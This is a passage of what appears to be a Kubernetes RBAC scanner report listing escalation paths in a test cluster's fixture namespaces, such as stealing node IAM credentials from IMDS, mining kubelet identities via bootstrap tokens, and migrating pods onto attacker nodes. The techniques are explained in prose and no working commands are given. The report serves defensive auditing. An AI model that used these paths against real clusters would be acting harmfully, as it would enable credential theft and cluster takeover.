    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/lp-fixtures/sa-lp-wildcard
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod lp-fixtures/lp-wildcard-app-7bb4d99f67-6ggf2 falls back to node IAM role via IMDS
HIGH ServiceAccount/netpol-imds/default → node root (container escape) score 8.5 1 hop View finding →

ServiceAccount `default` in namespace `netpol-imds` reaches node root (container escape) in 1 hop via Steal node IAM role via IMDS.

  1. Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/netpol-imds/default
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod netpol-imds/imds-allow-app-7f9f6cb9df-k2q2n falls back to node IAM role via IMDS
HIGH ServiceAccount/privesc-fixtures/sa-node-migrate → node root (container escape) score 8.5 1 hop View finding →

ServiceAccount `sa-node-migrate` in namespace `privesc-fixtures` reaches node root (container escape) in 1 hop via Migrate pods onto an attacker node.

  1. Migrate pods onto an attacker node node_drain_migrate

    A way to remove pods (delete pods, deletecollection pods, or create pods/eviction) combined with cluster-scoped node control (update/patch on nodes, which is what kubectl cordon and kubectl taint use; update/patch on nodes/status; or delete nodes) lets an attacker cordon, taint, or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

    From ServiceAccount/privesc-fixtures/sa-node-migrate
    Permission granted delete pods + update nodes/status
    Gives the attacker can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
HIGH ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath → node root (container escape) score 8.5 1 hop View finding →

ServiceAccount `sa-pv-hostpath` in namespace `pv-hostpath-fixtures` reaches node root (container escape) in 1 hop via Steal node IAM role via IMDS.

  1. Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod pv-hostpath-fixtures/pv-hostpath-app-5bb7f7676-zqvzl falls back to node IAM role via IMDS
HIGH ServiceAccount/rbac-fixtures/sa-cluster-admin → node root (container escape) score 8.5 1 hop View finding →

ServiceAccount `sa-cluster-admin` in namespace `rbac-fixtures` reaches node root (container escape) in 1 hop via Migrate pods onto an attacker node.

  1. Migrate pods onto an attacker node node_drain_migrate

    A way to remove pods (delete pods, deletecollection pods, or create pods/eviction) combined with cluster-scoped node control (update/patch on nodes, which is what kubectl cordon and kubectl taint use; update/patch on nodes/status; or delete nodes) lets an attacker cordon, taint, or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

    From ServiceAccount/rbac-fixtures/sa-cluster-admin
    Permission granted delete pods + update nodes/status
    Gives the attacker can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
HIGH ServiceAccount/rbac-fixtures/sa-impersonate → node root (container escape) score 8.5 1 hop View finding →

ServiceAccount `sa-impersonate` in namespace `rbac-fixtures` reaches node root (container escape) in 1 hop via Steal node IAM role via IMDS.

  1. Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/rbac-fixtures/sa-impersonate
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod rbac-fixtures/imp-app-5f78d6bb9d-bxmxv falls back to node IAM role via IMDS
HIGH ServiceAccount/rbac-fixtures/sa-wildcard → node root (container escape) score 8.5 1 hop View finding →

ServiceAccount `sa-wildcard` in namespace `rbac-fixtures` reaches node root (container escape) in 1 hop via Migrate pods onto an attacker node.

  1. Migrate pods onto an attacker node node_drain_migrate

    A way to remove pods (delete pods, deletecollection pods, or create pods/eviction) combined with cluster-scoped node control (update/patch on nodes, which is what kubectl cordon and kubectl taint use; update/patch on nodes/status; or delete nodes) lets an attacker cordon, taint, or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

    From ServiceAccount/rbac-fixtures/sa-wildcard
    Permission granted delete pods + update nodes/status
    Gives the attacker can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
HIGH ServiceAccount/secrets-bundle/cross-ns-reader → node root (container escape) score 8.5 1 hop View finding →

ServiceAccount `cross-ns-reader` in namespace `secrets-bundle` reaches node root (container escape) in 1 hop via Steal node IAM role via IMDS.

  1. Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/secrets-bundle/cross-ns-reader
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod secrets-bundle/cross-ns-consumer-6c945c9c9d-blz86 falls back to node IAM role via IMDS
HIGH ServiceAccount/statusspoof-fixtures/default → node root (container escape) score 8.5 1 hop View finding →

ServiceAccount `default` in namespace `statusspoof-fixtures` reaches node root (container escape) in 1 hop via Steal node IAM role via IMDS.

  1. Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/statusspoof-fixtures/default
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod statusspoof-fixtures/statusspoof-api-ff8647558-st88g falls back to node IAM role via IMDS
HIGH ServiceAccount/rbac-fixtures/sa-token-create → node root (container escape) score 8.3 2 hops View finding →

ServiceAccount `sa-token-create` in namespace `rbac-fixtures` reaches node root (container escape) in 2 hops via TokenRequest minting → Migrate pods onto an attacker node.

  1. Step 1 of 2 TokenRequest minting token_request

    The create verb on serviceaccounts/token mints a fresh, valid token for any ServiceAccount in scope, with no pod required. Cleaner than the pod-creation route and harder to spot in audit logs.

    From ServiceAccount/rbac-fixtures/sa-token-create → ServiceAccount/cert-manager/cert-manager
    Permission granted create serviceaccounts/token
    Gives the attacker can mint tokens for ServiceAccount cert-manager/cert-manager
  2. Step 2 of 2 Migrate pods onto an attacker node node_drain_migrate

    A way to remove pods (delete pods, deletecollection pods, or create pods/eviction) combined with cluster-scoped node control (update/patch on nodes, which is what kubectl cordon and kubectl taint use; update/patch on nodes/status; or delete nodes) lets an attacker cordon, taint, or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

    From ServiceAccount/cert-manager/cert-manager
    Permission granted delete pods + update nodes/status
    Gives the attacker can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
HIGH ServiceAccount/deepchain-tenant/deepchain-binder → node root (container escape) score 8.2 3 hops View finding →

ServiceAccount `deepchain-binder` in namespace `deepchain-tenant` reaches node root (container escape) in 3 hops via RoleBinding write access plus bind → Co-located ServiceAccount token theft → Migrate pods onto an attacker node.

  1. Step 1 of 3 RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/deepchain-tenant/deepchain-binder
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the `bind` verb that satisfies RBAC escalation prevention
  2. Step 2 of 3 Co-located ServiceAccount token theft colocated_sa_token_theft

    Administrative control over a namespace implies control over every identity inside it. Someone who can create RoleBindings in a namespace can create a pod that mounts any ServiceAccount there, exec into a pod already running as it, or read its token Secret directly.

    This matters when a namespace hosts an identity more powerful than the namespace itself, for example a controller whose ClusterRoleBinding grants cluster-wide permissions. Namespace-admin then becomes a stepping stone rather than a boundary.

    From ServiceAccount/deepchain-tenant/deepchain-binder → ServiceAccount/deepchain-tenant/deepchain-privileged
    Permission granted namespace-admin in deepchain-tenant
    Gives the attacker can steal the token of co-located ServiceAccount deepchain-tenant/deepchain-privileged
  3. Step 3 of 3 Migrate pods onto an attacker node node_drain_migrate

    A way to remove pods (delete pods, deletecollection pods, or create pods/eviction) combined with cluster-scoped node control (update/patch on nodes, which is what kubectl cordon and kubectl taint use; update/patch on nodes/status; or delete nodes) lets an attacker cordon, taint, or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

    From ServiceAccount/deepchain-tenant/deepchain-privileged
    Permission granted delete pods + update nodes/status
    Gives the attacker can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
HIGH ServiceAccount/nodeid-fixtures/nodeid-joiner → node root (container escape) score 8.2 3 hops View finding →

ServiceAccount `nodeid-joiner` in namespace `nodeid-fixtures` reaches node root (container escape) in 3 hops via Kubelet CSR auto-approval: a node identity for any name → Node authorizer: token request for a node's pods → Migrate pods onto an attacker node.

  1. Step 1 of 3 Kubelet CSR auto-approval: a node identity for any name csr_nodeclient_autoapprove

    Kubelets get their client certificates by submitting a CertificateSigningRequest that names system:node:<name> in the group system:nodes. The controller manager approves such a request by itself when a SubjectAccessReview says the requester may create certificatesigningrequests/nodeclient. It does not compare the node name to the requester, nor check that the node exists.

    Whoever holds that subresource together with create certificatesigningrequests therefore gets a signed kubelet identity for any node name, and the Node authorizer grants that identity the ServiceAccount tokens and referenced Secrets of every pod on the named node. kubeadm binds the pair to its bootstrap group, which is the designed use.

    From ServiceAccount/nodeid-fixtures/nodeid-joiner
    Permission granted create certificatesigningrequests + create certificatesigningrequests/nodeclient
    Gives the attacker can submit a kubelet client CSR for any node name, which the controller manager auto-approves for holders of the nodeclient subresource
  2. Step 2 of 3 Node authorizer: token request for a node's pods node_token_request

    The Node authorizer lets a kubelet request a token (the TokenRequest API) for the ServiceAccount of any pod bound to its node, because the kubelet has to mount that token into the pod. A node identity for a chosen name therefore yields the tokens of every ServiceAccount with a pod on that node, and across names, in the cluster.

    This edge leaves the node_identity sink; it is what makes that sink traversable in the graph.

    From ServiceAccount/nodeid-fixtures/nodeid-joiner → ServiceAccount/foothold-exec/foothold-decoy-sa
    Permission granted node authorizer: create serviceaccounts/token for pods bound to the node
    Gives the attacker as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount foothold-exec/foothold-decoy-sa, whose pod is bound there
  3. Step 3 of 3 Migrate pods onto an attacker node node_drain_migrate

    A way to remove pods (delete pods, deletecollection pods, or create pods/eviction) combined with cluster-scoped node control (update/patch on nodes, which is what kubectl cordon and kubectl taint use; update/patch on nodes/status; or delete nodes) lets an attacker cordon, taint, or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

    From ServiceAccount/foothold-exec/foothold-decoy-sa
    Permission granted delete pods + update nodes/status
    Gives the attacker can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
HIGH ServiceAccount/foothold-ops/foothold-named-execer → node root (container escape) score 8.1 2 hops View finding →

ServiceAccount `foothold-named-execer` in namespace `foothold-ops` reaches node root (container escape) in 2 hops via Pod exec → container takeover → Steal node IAM role via IMDS.

  1. Step 1 of 2 Pod exec → container takeover pod_exec

    The pods/exec subresource opens a shell inside a running container. If the container's pod uses a privileged ServiceAccount, the attacker inherits that SA's reach. If the container is itself privileged or mounts the host, this is also a node-escape primitive.

    From ServiceAccount/foothold-ops/foothold-named-execer → ServiceAccount/foothold-exec/foothold-reader
    Permission granted create pods/exec|pods/attach
    Gives the attacker can exec into pods running as ServiceAccount foothold-exec/foothold-reader
  2. Step 2 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/foothold-exec/foothold-reader
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod foothold-exec/foothold-target falls back to node IAM role via IMDS
HIGH ServiceAccount/imgswap-fixtures/imgswap-patcher → node root (container escape) score 8.1 2 hops View finding →

ServiceAccount `imgswap-patcher` in namespace `imgswap-fixtures` reaches node root (container escape) in 2 hops via Pod image swap: code injection into a running pod → Steal node IAM role via IMDS.

  1. Step 1 of 2 Pod image swap: code injection into a running pod pod_image_hijack

    The API server keeps a pod's container image fields writable after the pod is running, and nothing in-tree checks who changed them. A subject with plain update or patch on pods can point a running container at an image it controls; the kubelet restarts that container with the new image inside the same pod, so the attacker's code inherits the pod's mounted ServiceAccount token, its securityContext, and any host access it had.

    This is the same position pods/exec or an ephemeral container gives, reached through a write verb that edit-style roles and label-patching operators carry routinely. No workload controller reverts it: ReplicaSets, StatefulSets, and DaemonSets reconcile on labels and template hashes, not on the live image.

    From ServiceAccount/imgswap-fixtures/imgswap-patcher → ServiceAccount/imgswap-fixtures/imgswap-reader
    Permission granted get,list,patch pods
    Gives the attacker can swap the container image of pods running as ServiceAccount imgswap-fixtures/imgswap-reader and run code inside them
  2. Step 2 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/imgswap-fixtures/imgswap-reader
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod imgswap-fixtures/imgswap-reader-app-b5544c498-vrnqg falls back to node IAM role via IMDS
HIGH ServiceAccount/privesc-fixtures/sa-ephemeral → node root (container escape) score 8.1 2 hops View finding →

ServiceAccount `sa-ephemeral` in namespace `privesc-fixtures` reaches node root (container escape) in 2 hops via Ephemeral container injection → Steal node IAM role via IMDS.

  1. Step 1 of 2 Ephemeral container injection ephemeral_container_inject

    update/patch on pods/ephemeralcontainers adds an attacker-chosen container to an already-running pod (the mechanism behind kubectl debug). The injected container joins the victim pod's namespaces and can mount its ServiceAccount token, so it is effectively pod creation against an existing victim: the attacker picks the image but inherits the pod's identity and host exposure.

    From ServiceAccount/privesc-fixtures/sa-ephemeral → ServiceAccount/cloud-eks-test/default
    Permission granted update,patch pods/ephemeralcontainers
    Gives the attacker can inject an ephemeral container into pods running as ServiceAccount cloud-eks-test/default
  2. Step 2 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/cloud-eks-test/default
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod cloud-eks-test/imds-pivot-app-68cfbfc794-vhjw8 falls back to node IAM role via IMDS
HIGH ServiceAccount/privesc-fixtures/sa-pod-exec → node root (container escape) score 8.1 2 hops View finding →

ServiceAccount `sa-pod-exec` in namespace `privesc-fixtures` reaches node root (container escape) in 2 hops via Pod exec → container takeover → Steal node IAM role via IMDS.

  1. Step 1 of 2 Pod exec → container takeover pod_exec

    The pods/exec subresource opens a shell inside a running container. If the container's pod uses a privileged ServiceAccount, the attacker inherits that SA's reach. If the container is itself privileged or mounts the host, this is also a node-escape primitive.

    From ServiceAccount/privesc-fixtures/sa-pod-exec → ServiceAccount/cloud-eks-test/default
    Permission granted create,get pods/exec|pods/attach
    Gives the attacker can exec into pods running as ServiceAccount cloud-eks-test/default
  2. Step 2 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/cloud-eks-test/default
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod cloud-eks-test/imds-pivot-app-68cfbfc794-vhjw8 falls back to node IAM role via IMDS
HIGH User/gw-deployer → node root (container escape) score 8.1 2 hops View finding →

User `gw-deployer` reaches node root (container escape) in 2 hops via Workload creation → ServiceAccount token theft → Steal node IAM role via IMDS.

  1. Step 1 of 2 Workload creation → ServiceAccount token theft workload_create_token_theft

    A Deployment, DaemonSet, StatefulSet, Job, or CronJob carries a pod template, and its controller creates pods from that template. Whoever writes the template chooses the ServiceAccount the pods run as, and Kubernetes checks only that the ServiceAccount exists, not that the writer may use it.

    So create on any of these kinds reaches exactly what create pods reaches: every ServiceAccount in the namespace (or in every namespace, for a cluster-wide grant). Removing create pods from a role while leaving create deployments changes nothing.

    From User/gw-deployer → ServiceAccount/gw-workloads/gw-web-sa
    Permission granted create deployments
    Gives the attacker can create a workload whose pods run as ServiceAccount gw-workloads/gw-web-sa
  2. Step 2 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/gw-workloads/gw-web-sa
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod gw-workloads/gw-web-78c47cbd6c-psgsw falls back to node IAM role via IMDS
HIGH User/gw-patcher → node root (container escape) score 8.1 2 hops View finding →

User `gw-patcher` reaches node root (container escape) in 2 hops via Workload template rewrite → Steal node IAM role via IMDS.

  1. Step 1 of 2 Workload template rewrite workload_hijack

    update or patch on an existing Deployment, DaemonSet, StatefulSet, or CronJob lets the writer change its pod template: the image, the command, and the ServiceAccount. The controller then rolls out pods from the new template on its own. The writer gains every ServiceAccount in that namespace, the same as create pods.

    It can also give more than that. The rewritten pods keep the rest of the workload's spec, so a workload that already runs privileged or mounts the host (a CNI or log-shipper DaemonSet in kube-system, for example) hands that host access to the writer's code. A Job is not affected: its pod template cannot be changed after creation.

    From User/gw-patcher → ServiceAccount/gw-workloads/gw-web-sa
    Permission granted patch deployments
    Gives the attacker can rewrite the pod template of Deployment gw-workloads/gw-web, whose pods run as ServiceAccount gw-workloads/gw-web-sa
  2. Step 2 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/gw-workloads/gw-web-sa
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod gw-workloads/gw-web-78c47cbd6c-psgsw falls back to node IAM role via IMDS
HIGH ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → node root (container escape) score 8.0 3 hops View finding →

ServiceAccount `nodeid-tokenwriter` in namespace `nodeid-fixtures` reaches node root (container escape) in 3 hops via Bootstrap token minting → Node authorizer: token request for a node's pods → Migrate pods onto an attacker node.

  1. Step 1 of 3 Bootstrap token minting bootstrap_token_mint

    A Secret of type bootstrap.kubernetes.io/token in kube-system is a credential: the bootstrap-token authenticator accepts its <id>.<secret> as the user system:bootstrap:<id> in the groups the Secret's auth-extra-groups names. On a kubeadm cluster that group may submit kubelet client CSRs that the controller manager auto-approves.

    A Secret write reaching kube-system therefore mints a token that buys a kubelet identity for any node name. The edge is drawn only when the cluster has the auto-approval binding; without it, the token authenticates but reaches nothing.

    From ServiceAccount/nodeid-fixtures/nodeid-tokenwriter
    Permission granted create secrets in kube-system
    Gives the attacker can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
  2. Step 2 of 3 Node authorizer: token request for a node's pods node_token_request

    The Node authorizer lets a kubelet request a token (the TokenRequest API) for the ServiceAccount of any pod bound to its node, because the kubelet has to mount that token into the pod. A node identity for a chosen name therefore yields the tokens of every ServiceAccount with a pod on that node, and across names, in the cluster.

    This edge leaves the node_identity sink; it is what makes that sink traversable in the graph.

    From ServiceAccount/nodeid-fixtures/nodeid-tokenwriter → ServiceAccount/foothold-exec/foothold-decoy-sa
    Permission granted node authorizer: create serviceaccounts/token for pods bound to the node
    Gives the attacker as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount foothold-exec/foothold-decoy-sa, whose pod is bound there
  3. Step 3 of 3 Migrate pods onto an attacker node node_drain_migrate

    A way to remove pods (delete pods, deletecollection pods, or create pods/eviction) combined with cluster-scoped node control (update/patch on nodes, which is what kubectl cordon and kubectl taint use; update/patch on nodes/status; or delete nodes) lets an attacker cordon, taint, or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

    From ServiceAccount/foothold-exec/foothold-decoy-sa
    Permission granted delete pods + update nodes/status
    Gives the attacker can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
HIGH ServiceAccount/privesc-fixtures/sa-secret-mint → node root (container escape) score 8.0 3 hops View finding →

ServiceAccount `sa-secret-mint` in namespace `privesc-fixtures` reaches node root (container escape) in 3 hops via Bootstrap token minting → Node authorizer: token request for a node's pods → Migrate pods onto an attacker node.

  1. Step 1 of 3 Bootstrap token minting bootstrap_token_mint

    A Secret of type bootstrap.kubernetes.io/token in kube-system is a credential: the bootstrap-token authenticator accepts its <id>.<secret> as the user system:bootstrap:<id> in the groups the Secret's auth-extra-groups names. On a kubeadm cluster that group may submit kubelet client CSRs that the controller manager auto-approves.

    A Secret write reaching kube-system therefore mints a token that buys a kubelet identity for any node name. The edge is drawn only when the cluster has the auto-approval binding; without it, the token authenticates but reaches nothing.

    From ServiceAccount/privesc-fixtures/sa-secret-mint
    Permission granted create,get secrets in kube-system
    Gives the attacker can write a bootstrap-token Secret in kube-system, minting a token that this cluster's bootstrap group turns into an auto-approved kubelet client certificate for any node name
  2. Step 2 of 3 Node authorizer: token request for a node's pods node_token_request

    The Node authorizer lets a kubelet request a token (the TokenRequest API) for the ServiceAccount of any pod bound to its node, because the kubelet has to mount that token into the pod. A node identity for a chosen name therefore yields the tokens of every ServiceAccount with a pod on that node, and across names, in the cluster.

    This edge leaves the node_identity sink; it is what makes that sink traversable in the graph.

    From ServiceAccount/privesc-fixtures/sa-secret-mint → ServiceAccount/foothold-exec/foothold-decoy-sa
    Permission granted node authorizer: create serviceaccounts/token for pods bound to the node
    Gives the attacker as the node identity for kubesplaining-e2e-control-plane, can request a token for ServiceAccount foothold-exec/foothold-decoy-sa, whose pod is bound there
  3. Step 3 of 3 Migrate pods onto an attacker node node_drain_migrate

    A way to remove pods (delete pods, deletecollection pods, or create pods/eviction) combined with cluster-scoped node control (update/patch on nodes, which is what kubectl cordon and kubectl taint use; update/patch on nodes/status; or delete nodes) lets an attacker cordon, taint, or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

    From ServiceAccount/foothold-exec/foothold-decoy-sa
    Permission granted delete pods + update nodes/status
    Gives the attacker can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
→ namespace-admin

33 paths to namespace-admin

33 high
HIGH ServiceAccount/cutres/cutres-detour → namespace-admin score 7.4 1 hop View finding →

ServiceAccount `cutres-detour` in namespace `cutres` reaches namespace-admin in 1 hop via RoleBinding write access plus bind.

  1. RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/cutres/cutres-detour
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace cutres, holding the `bind` verb that satisfies RBAC escalation prevention
HIGH ServiceAccount/deepchain-tenant/deepchain-binder → namespace-admin score 7.4 1 hop View finding →

ServiceAccount `deepchain-binder` in namespace `deepchain-tenant` reaches namespace-admin in 1 hop via RoleBinding write access plus bind.

  1. RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

    A binding write on its own still matters, it just is not escalation: the check passes for permissions the writer already holds, so they can hand their own privileges to other subjects. That is lateral spread and persistence, reported separately as a flat finding rather than as a path.

    Scope matters. At cluster scope the reach is cluster-admin equivalent. Granted by a RoleBinding the reach is bounded to that one namespace — full namespace-admin, but the bound ClusterRole's verbs apply only inside the binding's namespace.

    From ServiceAccount/deepchain-tenant/deepchain-binder
    Permission granted create/update rolebindings + bind (cluster)roles
    Gives the attacker can RoleBind itself to any ClusterRole within namespace deepchain-tenant, holding the `bind` verb that satisfies RBAC escalation prevention
HIGH ServiceAccount/rbac-ns-fixtures/sa-ns-rolebinding-mutate → namespace-admin score 7.4 1 hop View finding →

ServiceAccount `sa-ns-rolebinding-mutate` in namespace `rbac-ns-fixtures` reaches namespace-admin in 1 hop via RoleBinding write access plus bind.

  1. RoleBinding write access plus bind modify_role_binding

    create/update/patch on rolebindings or clusterrolebindings lets the attacker bind themselves to a role, but not to any role. Kubernetes runs an escalation-prevention check on every binding write: the writer must already hold every permission the referenced role grants, or hold the bind verb on it, or the API server refuses the write and names the missing rules. The escalation reported here is the pair, a binding write held together with bind.

